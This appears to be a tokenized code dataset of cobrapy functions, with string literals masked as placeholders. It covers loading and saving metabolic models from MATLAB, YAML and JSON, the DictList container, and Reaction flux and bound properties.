{"signature": "def from_mat_struct(mat_struct, model_id=None, inf=inf):", "body": "m = mat_struct<EOL>if m.dtype.names is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not {\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:S>\", \"<STR_LIT>\", \"<STR_LIT>\"} <= set(m.dtype.names):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT:c>\" in m.dtype.names:<EOL><INDENT>c_vec = m[\"<STR_LIT:c>\"][<NUM_LIT:0>, <NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>c_vec = None<EOL>warn(\"<STR_LIT>\")<EOL><DEDENT>model = Model()<EOL>if model_id is not None:<EOL><INDENT>model.id = model_id<EOL><DEDENT>elif \"<STR_LIT:description>\" in m.dtype.names:<EOL><INDENT>description = m[\"<STR_LIT:description>\"][<NUM_LIT:0>, <NUM_LIT:0>][<NUM_LIT:0>]<EOL>if not isinstance(description, string_types) and len(description) > <NUM_LIT:1>:<EOL><INDENT>model.id = description[<NUM_LIT:0>]<EOL>warn(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>model.id = description<EOL><DEDENT><DEDENT>else:<EOL><INDENT>model.id = \"<STR_LIT>\"<EOL><DEDENT>for i, name in enumerate(m[\"<STR_LIT>\"][<NUM_LIT:0>, <NUM_LIT:0>]):<EOL><INDENT>new_metabolite = Metabolite()<EOL>new_metabolite.id = str(name[<NUM_LIT:0>][<NUM_LIT:0>])<EOL>if all(var in m.dtype.names for var in<EOL>['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>comp_index = m[\"<STR_LIT>\"][<NUM_LIT:0>, <NUM_LIT:0>][i][<NUM_LIT:0>] - <NUM_LIT:1><EOL>new_metabolite.compartment = m['<STR_LIT>'][<NUM_LIT:0>, <NUM_LIT:0>][comp_index][<NUM_LIT:0>][<NUM_LIT:0>]<EOL>if new_metabolite.compartment not in model.compartments:<EOL><INDENT>comp_name = m['<STR_LIT>'][<NUM_LIT:0>, <NUM_LIT:0>][comp_index][<NUM_LIT:0>][<NUM_LIT:0>]<EOL>model.compartments[new_metabolite.compartment] = comp_name<EOL><DEDENT><DEDENT>else:<EOL><INDENT>new_metabolite.compartment = _get_id_compartment(new_metabolite.id)<EOL>if new_metabolite.compartment not in model.compartments:<EOL><INDENT>model.compartments[<EOL>new_metabolite.compartment] = new_metabolite.compartment<EOL><DEDENT><DEDENT>try:<EOL><INDENT>new_metabolite.name = str(m[\"<STR_LIT>\"][<NUM_LIT:0>, <NUM_LIT:0>][i][<NUM_LIT:0>][<NUM_LIT:0>])<EOL><DEDENT>except (IndexError, ValueError):<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>new_metabolite.formula = str(m[\"<STR_LIT>\"][<NUM_LIT:0>][<NUM_LIT:0>][i][<NUM_LIT:0>][<NUM_LIT:0>])<EOL><DEDENT>except (IndexError, ValueError):<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>new_metabolite.charge = float(m[\"<STR_LIT>\"][<NUM_LIT:0>, <NUM_LIT:0>][i][<NUM_LIT:0>])<EOL>int_charge = int(new_metabolite.charge)<EOL>if new_metabolite.charge == int_charge:<EOL><INDENT>new_metabolite.charge = int_charge<EOL><DEDENT><DEDENT>except (IndexError, ValueError):<EOL><INDENT>pass<EOL><DEDENT>model.add_metabolites([new_metabolite])<EOL><DEDENT>new_reactions = []<EOL>coefficients = {}<EOL>for i, name in enumerate(m[\"<STR_LIT>\"][<NUM_LIT:0>, <NUM_LIT:0>]):<EOL><INDENT>new_reaction = Reaction()<EOL>new_reaction.id = str(name[<NUM_LIT:0>][<NUM_LIT:0>])<EOL>new_reaction.lower_bound = float(m[\"<STR_LIT>\"][<NUM_LIT:0>, <NUM_LIT:0>][i][<NUM_LIT:0>])<EOL>new_reaction.upper_bound = float(m[\"<STR_LIT>\"][<NUM_LIT:0>, <NUM_LIT:0>][i][<NUM_LIT:0>])<EOL>if isinf(new_reaction.lower_bound) and new_reaction.lower_bound < <NUM_LIT:0>:<EOL><INDENT>new_reaction.lower_bound = -inf<EOL><DEDENT>if isinf(new_reaction.upper_bound) and new_reaction.upper_bound > <NUM_LIT:0>:<EOL><INDENT>new_reaction.upper_bound = inf<EOL><DEDENT>if c_vec is not None:<EOL><INDENT>coefficients[new_reaction] = float(c_vec[i][<NUM_LIT:0>])<EOL><DEDENT>try:<EOL><INDENT>new_reaction.gene_reaction_rule = str(m['<STR_LIT>'][<NUM_LIT:0>, <NUM_LIT:0>][i][<NUM_LIT:0>][<NUM_LIT:0>])<EOL><DEDENT>except (IndexError, ValueError):<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>new_reaction.name = str(m[\"<STR_LIT>\"][<NUM_LIT:0>, <NUM_LIT:0>][i][<NUM_LIT:0>][<NUM_LIT:0>])<EOL><DEDENT>except (IndexError, ValueError):<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>new_reaction.subsystem = str(m['<STR_LIT>'][<NUM_LIT:0>, <NUM_LIT:0>][i][<NUM_LIT:0>][<NUM_LIT:0>])<EOL><DEDENT>except (IndexError, ValueError):<EOL><INDENT>pass<EOL><DEDENT>new_reactions.append(new_reaction)<EOL><DEDENT>model.add_reactions(new_reactions)<EOL>set_objective(model, coefficients)<EOL>coo = scipy_sparse.coo_matrix(m[\"<STR_LIT:S>\"][<NUM_LIT:0>, <NUM_LIT:0>])<EOL>for i, j, v in zip(coo.row, coo.col, coo.data):<EOL><INDENT>model.reactions[j].add_metabolites({model.metabolites[i]: v})<EOL><DEDENT>return model<EOL>", "docstring": "create a model from the COBRA toolbox struct\n\n    The struct will be a dict read in by scipy.io.loadmat", "id": "f15890:m6"}
{"signature": "def _check(result):", "body": "if result[\"<STR_LIT:success>\"] is not True:<EOL><INDENT>raise RuntimeError(result[\"<STR_LIT:content>\"][\"<STR_LIT>\"])<EOL><DEDENT>", "docstring": "ensure success of a pymatbridge operation", "id": "f15890:m7"}
{"signature": "def model_to_pymatbridge(model, variable_name=\"<STR_LIT>\", matlab=None):", "body": "if scipy_sparse is None:<EOL><INDENT>raise ImportError(\"<STR_LIT>\")<EOL><DEDENT>if matlab is None:  <EOL><INDENT>from IPython import get_ipython<EOL>matlab = get_ipython().magics_manager.registry[\"<STR_LIT>\"].Matlab<EOL><DEDENT>model_info = create_mat_dict(model)<EOL>S = model_info[\"<STR_LIT:S>\"].todok()<EOL>model_info[\"<STR_LIT:S>\"] = <NUM_LIT:0><EOL>temp_S_name = \"<STR_LIT>\" + uuid4().hex<EOL>_check(matlab.set_variable(variable_name, model_info))<EOL>_check(matlab.set_variable(temp_S_name, S))<EOL>_check(matlab.run_code(\"<STR_LIT>\" % (variable_name, temp_S_name)))<EOL>for i in model_info.keys():<EOL><INDENT>if i == \"<STR_LIT:S>\":<EOL><INDENT>continue<EOL><DEDENT>_check(matlab.run_code(\"<STR_LIT>\".format(variable_name, i)))<EOL><DEDENT>_check(matlab.run_code(\"<STR_LIT>\" % temp_S_name))<EOL>", "docstring": "send the model to a MATLAB workspace through pymatbridge\n\n    This model can then be manipulated through the COBRA toolbox\n\n    Parameters\n    ----------\n    variable_name : str\n        The variable name to which the model will be assigned in the\n        MATLAB workspace\n\n    matlab : None or pymatbridge.Matlab instance\n        The MATLAB workspace to which the variable will be sent. If\n        this is None, then this will be sent to the same environment\n        used in IPython magics.", "id": "f15890:m8"}
{"signature": "def to_yaml(model, sort=False, **kwargs):", "body": "obj = model_to_dict(model, sort=sort)<EOL>obj[\"<STR_LIT:version>\"] = YAML_SPEC<EOL>return yaml.dump(obj, **kwargs)<EOL>", "docstring": "Return the model as a YAML document.\n\n``kwargs`` are passed on to ``yaml.dump``.\n\nParameters\n----------\nmodel : cobra.Model\n    The cobra model to represent.\nsort : bool, optional\n    Whether to sort the metabolites, reactions, and genes or maintain the\n    order defined in the model.\n\nReturns\n-------\nstr\n    String representation of the cobra model as a YAML document.\n\nSee Also\n--------\nsave_yaml_model : Write directly to a file.\nruamel.yaml.dump : Base function.", "id": "f15891:m0"}
{"signature": "def from_yaml(document):", "body": "content = StringIO(document)<EOL>return model_from_dict(yaml.load(content))<EOL>", "docstring": "Load a cobra model from a YAML document.\n\nParameters\n----------\ndocument : str\n    The YAML document representation of a cobra model.\n\nReturns\n-------\ncobra.Model\n    The cobra model as represented in the YAML document.\n\nSee Also\n--------\nload_yaml_model : Load directly from a file.", "id": "f15891:m1"}
{"signature": "def save_yaml_model(model, filename, sort=False, **kwargs):", "body": "obj = model_to_dict(model, sort=sort)<EOL>obj[\"<STR_LIT:version>\"] = YAML_SPEC<EOL>if isinstance(filename, string_types):<EOL><INDENT>with io.open(filename, \"<STR_LIT:w>\") as file_handle:<EOL><INDENT>yaml.dump(obj, file_handle, **kwargs)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yaml.dump(obj, filename, **kwargs)<EOL><DEDENT>", "docstring": "Write the cobra model to a file in YAML format.\n\n``kwargs`` are passed on to ``yaml.dump``.\n\nParameters\n----------\nmodel : cobra.Model\n    The cobra model to represent.\nfilename : str or file-like\n    File path or descriptor that the YAML representation should be\n    written to.\nsort : bool, optional\n    Whether to sort the metabolites, reactions, and genes or maintain the\n    order defined in the model.\n\nSee Also\n--------\nto_yaml : Return a string representation.\nruamel.yaml.dump : Base function.", "id": "f15891:m2"}
{"signature": "def load_yaml_model(filename):", "body": "if isinstance(filename, string_types):<EOL><INDENT>with io.open(filename, \"<STR_LIT:r>\") as file_handle:<EOL><INDENT>return model_from_dict(yaml.load(file_handle))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return model_from_dict(yaml.load(filename))<EOL><DEDENT>", "docstring": "Load a cobra model from a file in YAML format.\n\nParameters\n----------\nfilename : str or file-like\n    File path or descriptor that contains the YAML document describing the\n    cobra model.\n\nReturns\n-------\ncobra.Model\n    The cobra model as represented in the YAML document.\n\nSee Also\n--------\nfrom_yaml : Load from a string.", "id": "f15891:m3"}
{"signature": "def to_json(model, sort=False, **kwargs):", "body": "obj = model_to_dict(model, sort=sort)<EOL>obj[u\"<STR_LIT:version>\"] = JSON_SPEC<EOL>return json.dumps(obj, allow_nan=False, **kwargs)<EOL>", "docstring": "Return the model as a JSON document.\n\n``kwargs`` are passed on to ``json.dumps``.\n\nParameters\n----------\nmodel : cobra.Model\n    The cobra model to represent.\nsort : bool, optional\n    Whether to sort the metabolites, reactions, and genes or maintain the\n    order defined in the model.\n\nReturns\n-------\nstr\n    String representation of the cobra model as a JSON document.\n\nSee Also\n--------\nsave_json_model : Write directly to a file.\njson.dumps : Base function.", "id": "f15892:m0"}
{"signature": "def from_json(document):", "body": "return model_from_dict(json.loads(document))<EOL>", "docstring": "Load a cobra model from a JSON document.\n\nParameters\n----------\ndocument : str\n    The JSON document representation of a cobra model.\n\nReturns\n-------\ncobra.Model\n    The cobra model as represented in the JSON document.\n\nSee Also\n--------\nload_json_model : Load directly from a file.", "id": "f15892:m1"}
{"signature": "def save_json_model(model, filename, sort=False, pretty=False, **kwargs):", "body": "obj = model_to_dict(model, sort=sort)<EOL>obj[u\"<STR_LIT:version>\"] = JSON_SPEC<EOL>if pretty:<EOL><INDENT>dump_opts = {<EOL>\"<STR_LIT>\": <NUM_LIT:4>, \"<STR_LIT>\": (\"<STR_LIT:U+002C>\", \"<STR_LIT>\"), \"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": False}<EOL><DEDENT>else:<EOL><INDENT>dump_opts = {<EOL>\"<STR_LIT>\": <NUM_LIT:0>, \"<STR_LIT>\": (\"<STR_LIT:U+002C>\", \"<STR_LIT::>\"), \"<STR_LIT>\": False,<EOL>\"<STR_LIT>\": False}<EOL><DEDENT>dump_opts.update(**kwargs)<EOL>if isinstance(filename, string_types):<EOL><INDENT>with open(filename, \"<STR_LIT:w>\") as file_handle:<EOL><INDENT>json.dump(obj, file_handle, **dump_opts)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>json.dump(obj, filename, **dump_opts)<EOL><DEDENT>", "docstring": "Write the cobra model to a file in JSON format.\n\n``kwargs`` are passed on to ``json.dump``.\n\nParameters\n----------\nmodel : cobra.Model\n    The cobra model to represent.\nfilename : str or file-like\n    File path or descriptor that the JSON representation should be\n    written to.\nsort : bool, optional\n    Whether to sort the metabolites, reactions, and genes or maintain the\n    order defined in the model.\npretty : bool, optional\n    Whether to format the JSON more compactly (default) or in a more\n    verbose but easier to read fashion. Can be partially overwritten by the\n    ``kwargs``.\n\nSee Also\n--------\nto_json : Return a string representation.\njson.dump : Base function.", "id": "f15892:m2"}
{"signature": "def load_json_model(filename):", "body": "if isinstance(filename, string_types):<EOL><INDENT>with open(filename, \"<STR_LIT:r>\") as file_handle:<EOL><INDENT>return model_from_dict(json.load(file_handle))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return model_from_dict(json.load(filename))<EOL><DEDENT>", "docstring": "Load a cobra model from a file in JSON format.\n\nParameters\n----------\nfilename : str or file-like\n    File path or descriptor that contains the JSON document describing the\n    cobra model.\n\nReturns\n-------\ncobra.Model\n    The cobra model as represented in the JSON document.\n\nSee Also\n--------\nfrom_json : Load from a string.", "id": "f15892:m3"}
{"signature": "def add_members(self, new_members):", "body": "if isinstance(new_members, string_types) orhasattr(new_members, \"<STR_LIT:id>\"):<EOL><INDENT>warn(\"<STR_LIT>\")<EOL>new_members = [new_members]<EOL><DEDENT>self._members.update(new_members)<EOL>", "docstring": "Add objects to the group.\n\nParameters\n----------\nnew_members : list\n    A list of cobrapy objects to add to the group.", "id": "f15893:c0:m5"}
{"signature": "def remove_members(self, to_remove):", "body": "if isinstance(to_remove, string_types) orhasattr(to_remove, \"<STR_LIT:id>\"):<EOL><INDENT>warn(\"<STR_LIT>\")<EOL>to_remove = [to_remove]<EOL><DEDENT>self._members.difference_update(to_remove)<EOL>", "docstring": "Remove objects from the group.\n\nParameters\n----------\nto_remove : list\n    A list of cobra objects to remove from the group", "id": "f15893:c0:m6"}
{"signature": "def __init__(self, *args):", "body": "if len(args) > <NUM_LIT:2>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % len(args))<EOL><DEDENT>super(DictList, self).__init__(self)<EOL>self._dict = {}<EOL>if len(args) == <NUM_LIT:1>:<EOL><INDENT>other = args[<NUM_LIT:0>]<EOL>if isinstance(other, DictList):<EOL><INDENT>list.extend(self, other)<EOL>self._dict = other._dict.copy()<EOL><DEDENT>else:<EOL><INDENT>self.extend(other)<EOL><DEDENT><DEDENT>", "docstring": "Instantiate a combined dict and list.\n\n        Parameters\n        ----------\n        args : iterable\n            iterable as single argument to create new DictList from", "id": "f15894:c0:m0"}
{"signature": "def _check(self, id):", "body": "if id in self._dict:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % str(id))<EOL><DEDENT>", "docstring": "make sure duplicate id's are not added.\n        This function is called before adding in elements.", "id": "f15894:c0:m2"}
{"signature": "def _generate_index(self):", "body": "self._dict = {v.id: k for k, v in enumerate(self)}<EOL>", "docstring": "rebuild the _dict index", "id": "f15894:c0:m3"}
{"signature": "def get_by_id(self, id):", "body": "return list.__getitem__(self, self._dict[id])<EOL>", "docstring": "return the element with a matching id", "id": "f15894:c0:m4"}
{"signature": "def list_attr(self, attribute):", "body": "return [getattr(i, attribute) for i in self]<EOL>", "docstring": "return a list of the given attribute for every object", "id": "f15894:c0:m5"}
{"signature": "def get_by_any(self, iterable):", "body": "def get_item(item):<EOL><INDENT>if isinstance(item, int):<EOL><INDENT>return self[item]<EOL><DEDENT>elif isinstance(item, string_types):<EOL><INDENT>return self.get_by_id(item)<EOL><DEDENT>elif item in self:<EOL><INDENT>return item<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % type(item))<EOL><DEDENT><DEDENT>if not isinstance(iterable, list):<EOL><INDENT>iterable = [iterable]<EOL><DEDENT>return [get_item(item) for item in iterable]<EOL>", "docstring": "Get a list of members using several different ways of indexing\n\nParameters\n----------\niterable : list (if not, turned into single element list)\n    list where each element is either int (referring to an index in\n    in this DictList), string (a id of a member in this DictList) or\n    member of this DictList for pass-through\n\nReturns\n-------\nlist\n    a list of members", "id": "f15894:c0:m6"}
{"signature": "def query(self, search_function, attribute=None):", "body": "def select_attribute(x):<EOL><INDENT>if attribute is None:<EOL><INDENT>return x<EOL><DEDENT>else:<EOL><INDENT>return getattr(x, attribute)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>regex_searcher = re.compile(search_function)<EOL>if attribute is not None:<EOL><INDENT>matches = (<EOL>i for i in self if<EOL>regex_searcher.findall(select_attribute(i)) != [])<EOL><DEDENT>else:<EOL><INDENT>matches = (<EOL>i for i in self if<EOL>regex_searcher.findall(getattr(i, '<STR_LIT:id>')) != [])<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>matches = (<EOL>i for i in self if search_function(select_attribute(i)))<EOL><DEDENT>results = self.__class__()<EOL>results._extend_nocheck(matches)<EOL>return results<EOL>", "docstring": "Query the list\n\n        Parameters\n        ----------\n        search_function : a string, regular expression or function\n            Used to find the matching elements in the list.\n            - a regular expression (possibly compiled), in which case the\n            given attribute of the object should match the regular expression.\n            - a function which takes one argument and returns True for\n            desired values\n\n        attribute : string or None\n            the name attribute of the object to passed as argument to the\n            `search_function`. If this is None, the object itself is used.\n\n        Returns\n        -------\n        DictList\n            a new list of objects which match the query\n\n        Examples\n        --------\n        >>> import cobra.test\n        >>> model = cobra.test.create_test_model('textbook')\n        >>> model.reactions.query(lambda x: x.boundary)\n        >>> import re\n        >>> regex = re.compile('^g', flags=re.IGNORECASE)\n        >>> model.metabolites.query(regex, attribute='name')", "id": "f15894:c0:m7"}
{"signature": "def _replace_on_id(self, new_object):", "body": "the_id = new_object.id<EOL>the_index = self._dict[the_id]<EOL>list.__setitem__(self, the_index, new_object)<EOL>", "docstring": "Replace an object by another with the same id.", "id": "f15894:c0:m8"}
{"signature": "def append(self, object):", "body": "the_id = object.id<EOL>self._check(the_id)<EOL>self._dict[the_id] = len(self)<EOL>list.append(self, object)<EOL>", "docstring": "append object to end", "id": "f15894:c0:m9"}
{"signature": "def union(self, iterable):", "body": "_dict = self._dict<EOL>append = self.append<EOL>for i in iterable:<EOL><INDENT>if i.id not in _dict:<EOL><INDENT>append(i)<EOL><DEDENT><DEDENT>", "docstring": "adds elements with id's not already in the model", "id": "f15894:c0:m10"}
{"signature": "def extend(self, iterable):", "body": "<EOL>if not hasattr(self, \"<STR_LIT>\") or self._dict is None:<EOL><INDENT>self._dict = {}<EOL><DEDENT>_dict = self._dict<EOL>current_length = len(self)<EOL>list.extend(self, iterable)<EOL>for i, obj in enumerate(islice(self, current_length, None),<EOL>current_length):<EOL><INDENT>the_id = obj.id<EOL>if the_id not in _dict:<EOL><INDENT>_dict[the_id] = i<EOL><DEDENT>else:<EOL><INDENT>self = self[:current_length]<EOL>self._check(the_id)<EOL>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (str(the_id), i))<EOL><DEDENT><DEDENT>", "docstring": "extend list by appending elements from the iterable", "id": "f15894:c0:m11"}
{"signature": "def _extend_nocheck(self, iterable):", "body": "current_length = len(self)<EOL>list.extend(self, iterable)<EOL>_dict = self._dict<EOL>if current_length is <NUM_LIT:0>:<EOL><INDENT>self._generate_index()<EOL>return<EOL><DEDENT>for i, obj in enumerate(islice(self, current_length, None),<EOL>current_length):<EOL><INDENT>_dict[obj.id] = i<EOL><DEDENT>", "docstring": "extends without checking for uniqueness\n\n        This function should only be used internally by DictList when it\n        can guarantee elements are already unique (as in when coming from\n        self or other DictList). It will be faster because it skips these\n        checks.", "id": "f15894:c0:m12"}
{"signature": "def __sub__(self, other):", "body": "total = DictList()<EOL>total.extend(self)<EOL>for item in other:<EOL><INDENT>total.remove(item)<EOL><DEDENT>return total<EOL>", "docstring": "x.__sub__(y) <==> x - y\n\n        Parameters\n        ----------\n        other : iterable\n            other must contain only unique id's present in the list", "id": "f15894:c0:m13"}
{"signature": "def __isub__(self, other):", "body": "for item in other:<EOL><INDENT>self.remove(item)<EOL><DEDENT>return self<EOL>", "docstring": "x.__sub__(y) <==> x -= y\n\n        Parameters\n        ----------\n        other : iterable\n            other must contain only unique id's present in the list", "id": "f15894:c0:m14"}
{"signature": "def __add__(self, other):", "body": "total = DictList()<EOL>total.extend(self)<EOL>total.extend(other)<EOL>return total<EOL>", "docstring": "x.__add__(y) <==> x + y\n\n        Parameters\n        ----------\n        other : iterable\n            other must contain only unique id's which do not intersect\n            with self", "id": "f15894:c0:m15"}
{"signature": "def __iadd__(self, other):", "body": "self.extend(other)<EOL>return self<EOL>", "docstring": "x.__iadd__(y) <==> x += y\n\n        Parameters\n        ----------\n        other : iterable\n            other must contain only unique id's whcih do not intersect\n            with self", "id": "f15894:c0:m16"}
{"signature": "def __getstate__(self):", "body": "return {\"<STR_LIT>\": self._dict}<EOL>", "docstring": "gets internal state\n\n        This is only provided for backwards compatibility so older\n        versions of cobrapy can load pickles generated with cobrapy. In\n        reality, the \"_dict\" state is ignored when loading a pickle", "id": "f15894:c0:m18"}
{"signature": "def __setstate__(self, state):", "body": "self._generate_index()<EOL>", "docstring": "sets internal state\n\n        Ignore the passed in state and recalculate it. This is only for\n        compatibility with older pickles which did not correctly specify\n        the initialization class", "id": "f15894:c0:m19"}
{"signature": "def index(self, id, *args):", "body": "<EOL>if isinstance(id, string_types):<EOL><INDENT>try:<EOL><INDENT>return self._dict[id]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % id)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>i = self._dict[id.id]<EOL>if self[i] is not id:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % id.id)<EOL><DEDENT>return i<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % str(id))<EOL><DEDENT>", "docstring": "Determine the position in the list\n\n        id: A string or a :class:`~cobra.core.Object.Object`", "id": "f15894:c0:m20"}
{"signature": "def __contains__(self, object):", "body": "if hasattr(object, \"<STR_LIT:id>\"):<EOL><INDENT>the_id = object.id<EOL><DEDENT>else:<EOL><INDENT>the_id = object<EOL><DEDENT>return the_id in self._dict<EOL>", "docstring": "DictList.__contains__(object) <==> object in DictList\n\n        object: str or :class:`~cobra.core.Object.Object`", "id": "f15894:c0:m21"}
{"signature": "def insert(self, index, object):", "body": "self._check(object.id)<EOL>list.insert(self, index, object)<EOL>_dict = self._dict<EOL>for i, j in iteritems(_dict):<EOL><INDENT>if j >= index:<EOL><INDENT>_dict[i] = j + <NUM_LIT:1><EOL><DEDENT><DEDENT>_dict[object.id] = index<EOL>", "docstring": "insert object before index", "id": "f15894:c0:m23"}
{"signature": "def pop(self, *args):", "body": "value = list.pop(self, *args)<EOL>index = self._dict.pop(value.id)<EOL>if len(args) == <NUM_LIT:0> or args == [-<NUM_LIT:1>]:  <EOL><INDENT>return value<EOL><DEDENT>_dict = self._dict<EOL>for i, j in iteritems(_dict):<EOL><INDENT>if j > index:<EOL><INDENT>_dict[i] = j - <NUM_LIT:1><EOL><DEDENT><DEDENT>return value<EOL>", "docstring": "remove and return item at index (default last).", "id": "f15894:c0:m24"}
{"signature": "def add(self, x):", "body": "self.extend([x])<EOL>", "docstring": "Opposite of `remove`. Mirrors set.add", "id": "f15894:c0:m25"}
{"signature": "def remove(self, x):", "body": "<EOL>self.pop(self.index(x))<EOL>", "docstring": ".. warning :: Internal use only", "id": "f15894:c0:m26"}
{"signature": "def reverse(self):", "body": "list.reverse(self)<EOL>self._generate_index()<EOL>", "docstring": "reverse *IN PLACE*", "id": "f15894:c0:m27"}
{"signature": "def sort(self, cmp=None, key=None, reverse=False):", "body": "if key is None:<EOL><INDENT>def key(i):<EOL><INDENT>return i.id<EOL><DEDENT><DEDENT>if PY3:<EOL><INDENT>list.sort(self, key=key, reverse=reverse)<EOL><DEDENT>else:<EOL><INDENT>list.sort(self, cmp=cmp, key=key, reverse=reverse)<EOL><DEDENT>self._generate_index()<EOL>", "docstring": "stable sort *IN PLACE*\n\n        cmp(x, y) -> -1, 0, 1", "id": "f15894:c0:m28"}
{"signature": "@property<EOL><INDENT>def reverse_id(self):<DEDENT>", "body": "return '<STR_LIT:_>'.join((self.id, '<STR_LIT>',<EOL>hashlib.md5(<EOL>self.id.encode('<STR_LIT:utf-8>')).hexdigest()[<NUM_LIT:0>:<NUM_LIT:5>]))<EOL>", "docstring": "Generate the id of reverse_variable from the reaction's id.", "id": "f15895:c0:m2"}
{"signature": "@property<EOL><INDENT>def flux_expression(self):<DEDENT>", "body": "if self.model is not None:<EOL><INDENT>return <NUM_LIT:1.> * self.forward_variable - <NUM_LIT:1.> * self.reverse_variable<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Forward flux expression\n\n        Returns\n        -------\n        sympy expression\n            The expression representing the the forward flux (if associated\n            with model), otherwise None. Representing the net flux if\n            model.reversible_encoding == 'unsplit' or None if reaction is\n            not associated with a model", "id": "f15895:c0:m3"}
{"signature": "@property<EOL><INDENT>def forward_variable(self):<DEDENT>", "body": "if self.model is not None:<EOL><INDENT>return self.model.variables[self.id]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "An optlang variable representing the forward flux\n\n        Returns\n        -------\n        optlang.interface.Variable\n            An optlang variable for the forward flux or None if reaction is\n            not associated with a model.", "id": "f15895:c0:m4"}
{"signature": "@property<EOL><INDENT>def reverse_variable(self):<DEDENT>", "body": "if self.model is not None:<EOL><INDENT>return self.model.variables[self.reverse_id]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "An optlang variable representing the reverse flux\n\n        Returns\n        -------\n        optlang.interface.Variable\n            An optlang variable for the reverse flux or None if reaction is\n            not associated with a model.", "id": "f15895:c0:m5"}
{"signature": "@property<EOL><INDENT>def objective_coefficient(self):<DEDENT>", "body": "return linear_reaction_coefficients(self.model, [self]).get(self, <NUM_LIT:0>)<EOL>", "docstring": "Get the coefficient for this reaction in a linear\n        objective (float)\n\n        Assuming that the objective of the associated model is summation of\n        fluxes from a set of reactions, the coefficient for each reaction\n        can be obtained individually using this property. A more general way\n        is to use the `model.objective` property directly.", "id": "f15895:c0:m6"}
{"signature": "@property<EOL><INDENT>def lower_bound(self):<DEDENT>", "body": "return self._lower_bound<EOL>", "docstring": "Get or set the lower bound\n\n        Setting the lower bound (float) will also adjust the associated optlang\n        variables associated with the reaction. Infeasible combinations,\n        such as a lower bound higher than the current upper bound will\n        update the other bound.\n\n        When using a `HistoryManager` context, this attribute can be set\n        temporarily, reversed when the exiting the context.", "id": "f15895:c0:m12"}
{"signature": "@property<EOL><INDENT>def upper_bound(self):<DEDENT>", "body": "return self._upper_bound<EOL>", "docstring": "Get or set the upper bound\n\n        Setting the upper bound (float) will also adjust the associated optlang\n        variables associated with the reaction. Infeasible combinations,\n        such as a upper bound lower than the current lower bound will\n        update the other bound.\n\n        When using a `HistoryManager` context, this attribute can be set\n        temporarily, reversed when the exiting the context.", "id": "f15895:c0:m14"}
{"signature": "@property<EOL><INDENT>def bounds(self):<DEDENT>", "body": "return self.lower_bound, self.upper_bound<EOL>", "docstring": "Get or set the bounds directly from a tuple\n\n        Convenience method for setting upper and lower bounds in one line\n        using a tuple of lower and upper bound. Invalid bounds will raise an\n        AssertionError.\n\n        When using a `HistoryManager` context, this attribute can be set\n        temporarily, reversed when the exiting the context.", "id": "f15895:c0:m16"}
{"signature": "@property<EOL><INDENT>def flux(self):<DEDENT>", "body": "try:<EOL><INDENT>check_solver_status(self._model.solver.status)<EOL>return self.forward_variable.primal - self.reverse_variable.primal<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\".format(self.id))<EOL><DEDENT>except (RuntimeError, OptimizationError) as err:<EOL><INDENT>raise_with_traceback(err)<EOL><DEDENT>except Exception as err:<EOL><INDENT>raise_from(OptimizationError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(str(err))), err)<EOL><DEDENT>", "docstring": "The flux value in the most recent solution.\n\nFlux is the primal value of the corresponding variable in the model.\n\nWarnings\n--------\n* Accessing reaction fluxes through a `Solution` object is the safer,\n  preferred, and only guaranteed to be correct way. You can see how to\n  do so easily in the examples.\n* Reaction flux is retrieved from the currently defined\n  `self._model.solver`. The solver status is checked but there are no\n  guarantees that the current solver state is the one you are looking\n  for.\n* If you modify the underlying model after an optimization, you will\n  retrieve the old optimization values.\n\nRaises\n------\nRuntimeError\n    If the underlying model was never optimized beforehand or the\n    reaction is not part of a model.\nOptimizationError\n    If the solver status is anything other than 'optimal'.\nAssertionError\n    If the flux value is not within the bounds.\n\nExamples\n--------\n>>> import cobra.test\n>>> model = cobra.test.create_test_model(\"textbook\")\n>>> solution = model.optimize()\n>>> model.reactions.PFK.flux\n7.477381962160283\n>>> solution.fluxes.PFK\n7.4773819621602833", "id": "f15895:c0:m18"}
